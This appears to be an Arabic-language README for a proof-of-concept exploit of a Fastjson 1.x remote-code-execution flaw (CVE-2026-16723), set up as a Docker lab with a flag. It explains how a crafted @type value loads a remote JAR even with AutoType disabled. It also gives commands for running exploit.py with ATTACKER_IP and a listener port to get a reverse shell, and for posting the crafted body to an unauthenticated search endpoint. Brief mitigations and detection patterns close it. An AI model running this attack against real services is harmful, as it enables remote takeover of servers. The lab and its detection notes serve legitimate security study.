
استغلال PoC لثغرة RCE في Fastjson (CVE-2026-16723) يتضمن توليد حمولة JAR تلقائيًا وتسليمها عبر JSON مُصمَّم خصيصًا، متجاوزًا قيود AutoType.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 هي ثغرة تنفيذ أكواد عن بُعد (RCE) في Fastjson 1.x (1.2.68 – 1.2.83). عندما يقوم Fastjson بتحليل JSON يتحكم فيه المهاجم، يتم تحويل قيمة
@typeمعدّة إلى استعلام عن مورد فئة داخلcheckAutoType. في ملف Spring Boot القابل للتنفيذ fat-JAR، يحلّ مُحمّل الفئات هذا الاسم كعنوانjar:http://ويجلب JAR بعيد (SSRF)، ثم يحمّل فئة تحمل تعليق@JSONTypeحتى مع تعطيل AutoType. نظرًا لأن JDK / Tomcat الحديث يرفض الاسم الثنائيjar:http://، فإن المتغير الموثوق يقوم بتخزين JAR في ذاكرة JVM المؤقتة ويعيد قراءته عبرjar:file:/proc/self/fd/N، بحيث يتم تعريف الفئة وتنفيذ المُهيّئ الثابت الخاص بها، مما يتيح تنفيذ الأكواد. يبقى AutoType معطًلا ولا يلزم وجود أداة classpath.
| التصنيف | الإصدار |
|---|---|
| قابلة للاستغلال | Fastjson 1.2.68 ≤ الإصدار ≤ 1.2.83 |
| مصحّحة | الانتقال إلى Fastjson 2.x (لا يوجد إصدار 1.x مُصحّح) |
الهدف المخبري هو متجر عام (Northwind Store) واجهة البحث الخاصة به تربط
نص الطلب باستخدام Fastjson. جميع الإعدادات هي الافتراضية الأصلية في Fastjson:
SafeMode معطّل، AutoType معطّل، ويُعبّأ كملف Spring Boot fat-JAR.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| المتطلب المسبق | الحالة في هذا المختبر |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot fat-JAR قابل للتنفيذ | نعم |
| مسار تحليل JSON بدون مصادقة | POST /api/products/search |
| SafeMode / AutoType | الافتراضي (كلاهما معطّل) |
يعمل المهاجم والهدف على نفس شبكة Docker bridge، لذلك يصل الهدف إلى المهاجم كاتصال صادر (لا يتم نشر أي منفذ إضافي).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py يبني JAR الحمولة، ويخدمها، ويشغّل مستمعًا، ويطبع
نص الطلب. مطلوب فقط عنوان الاستدعاء.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
الصق النص المطبوع في نقطة البحث (Burp Repeater أو curl) ثم أرسله. طلب البحث هو ميزة عادية؛ فقط نص JSON الخاص به مصنوع بعناية.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
يعمل الكود بصلاحية حساب الخدمة. استرجع العلم عبر الصدفة التي تم الحصول عليها:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type في JSON تحتوي على jar:http أو jar:file / أنماط /proc/self/fd